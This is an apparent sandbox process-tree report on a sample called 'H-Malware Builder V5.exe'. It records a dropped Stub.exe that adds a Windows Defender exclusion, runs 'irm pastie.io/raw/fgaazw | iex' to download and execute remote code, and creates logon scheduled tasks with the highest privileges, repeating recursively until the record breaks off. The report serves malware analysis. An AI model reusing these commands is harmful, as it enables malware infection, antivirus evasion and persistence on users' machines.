C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{d91e0bb7-9b47-4c72-b817-1a505118952c}2⤵PID:928
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{364a195a-5c8d-4aea-9127-be883e78baf2}2⤵PID:1032
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{b222d39f-959c-4b75-bd5b-2012e28842dc}2⤵PID:2968
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{a8a71684-2dee-4c0a-ab85-84943d8735c6}2⤵PID:1444
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{90e40a97-18e2-4191-9509-e6c8db1bf7a3}2⤵PID:2836
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{6e356eab-e6db-4324-9b30-e61f1bae6310}2⤵PID:2064
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{34ebf37d-16fc-4b38-8485-f5d4c72f4bb1}2⤵PID:968
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{0b6825a7-a5f5-443b-8e2a-b3998d8d9cd2}2⤵PID:2816
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{1f2dc1d5-e9b8-4329-8f30-2d87b82c3124}2⤵PID:892
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{c798c7e3-11f7-40c6-aace-547d25018757}2⤵PID:2900
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{4b0d7072-899f-4200-87bf-e829f99da119}2⤵PID:2036
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{219acb41-03a5-4e4b-a9f0-2c34d6ddb55a}2⤵PID:1552
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{be822b11-3e6e-4e3e-8cd7-c14eed582367}2⤵PID:2892
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{447c92d7-b3be-41da-bc50-26871820ad6d}2⤵PID:1788
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{c455dd90-511e-4423-8bf9-0c06daa97dc3}2⤵PID:2504
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{2794025f-f3d3-4c7e-8d24-b82b28b52d1d}2⤵PID:1296
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{24849590-0dd2-4903-93fc-78b3b5551b7f}2⤵PID:1104
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{d1c01c84-884d-4529-aa6e-37f1061effb2}2⤵PID:1788
-
-
C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵PID:476
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵PID:604
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe3⤵PID:1680
-
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}3⤵PID:800
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵PID:688
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵PID:752
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵PID:820
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"3⤵PID:1160
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:856 -
\\?\C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R3⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:1820
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵PID:972
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵PID:284
-
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵PID:328
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵PID:1072
-
-
C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵PID:1108
-
-
C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"2⤵PID:1500
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵PID:2548
-
-
C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵PID:2352
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:488
-
C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵PID:496
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1192 -
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"2⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:3020 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:572
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2236 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"4⤵
- Suspicious use of WriteProcessMemory
PID:1620 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2076
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST4⤵
- Scheduled Task/Job: Scheduled Task
PID:1104
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST4⤵PID:1880
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"3⤵
- Drops startup file
PID:2776 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2692
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2492 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"5⤵PID:536
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2480
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST5⤵PID:2164
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST5⤵PID:900
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"4⤵
- Drops startup file
PID:1640 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:1532
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:1792 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"6⤵PID:1084
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"7⤵
- Suspicious use of AdjustPrivilegeToken
PID:3068
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST6⤵
- Scheduled Task/Job: Scheduled Task
PID:2900
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST6⤵PID:2412
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"5⤵
- Drops startup file
PID:1952 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:1656
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:2972 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"7⤵PID:2028
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"8⤵
- Suspicious use of AdjustPrivilegeToken
PID:2672
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST7⤵
- Scheduled Task/Job: Scheduled Task
PID:2184
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST7⤵
- Scheduled Task/Job: Scheduled Task
PID:872
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"6⤵
- Drops startup file
PID:2512 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:536
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"7⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:2160 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"8⤵PID:1660
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"9⤵
- Suspicious use of AdjustPrivilegeToken
PID:896
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST8⤵PID:1812
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST8⤵PID:2368
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"7⤵
- Drops startup file
PID:964 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'8⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:1032
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"8⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:2732 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"9⤵PID:1184
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"10⤵
- Suspicious use of AdjustPrivilegeToken
PID:968
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST9⤵
- Scheduled Task/Job: Scheduled Task
PID:648
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST9⤵PID:916
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"8⤵
- Drops startup file
PID:1580 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'9⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:444
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"9⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:2632 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"10⤵PID:1952
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"11⤵
- Suspicious use of AdjustPrivilegeToken
PID:1552
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST10⤵
- Scheduled Task/Job: Scheduled Task
PID:1616
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST10⤵
- Scheduled Task/Job: Scheduled Task
PID:1932
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"9⤵
- Drops startup file
PID:2644 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'10⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:980
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"10⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:2488 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"11⤵PID:1492
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"12⤵
- Suspicious use of AdjustPrivilegeToken
PID:1844
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST11⤵
- Scheduled Task/Job: Scheduled Task
PID:1368
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST11⤵PID:2648
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"10⤵
- Drops startup file
PID:2096 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:1672
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"11⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:2340 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"12⤵PID:2728
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"13⤵PID:588
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST12⤵
- Scheduled Task/Job: Scheduled Task
PID:560
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST12⤵PID:1224
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"11⤵
- Drops startup file
PID:2968 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'12⤵
- Command and Scripting Interpreter: PowerShell
PID:680
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"12⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1948 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"13⤵PID:1980
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"14⤵PID:1764
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST13⤵PID:2596
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST13⤵
- Scheduled Task/Job: Scheduled Task
PID:1364
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"12⤵
- Drops startup file
PID:2512 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'13⤵
- Command and Scripting Interpreter: PowerShell
PID:2276
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"13⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2056 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"14⤵PID:1028
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"15⤵PID:920
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST14⤵PID:2268
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST14⤵PID:2760
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"13⤵
- Drops startup file
PID:1992 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'14⤵
- Command and Scripting Interpreter: PowerShell
PID:2064
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"14⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1808 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"15⤵PID:2248
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"16⤵PID:2540
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST15⤵
- Scheduled Task/Job: Scheduled Task
PID:1960
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST15⤵
- Scheduled Task/Job: Scheduled Task
PID:3044
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"14⤵
- Drops startup file
PID:1624 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'15⤵
- Command and Scripting Interpreter: PowerShell
PID:2956
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"15⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1296 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"16⤵PID:1852
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"17⤵PID:2400
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST16⤵PID:1892
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST16⤵
- Scheduled Task/Job: Scheduled Task
PID:1620
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"15⤵
- Drops startup file
PID:916 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'16⤵
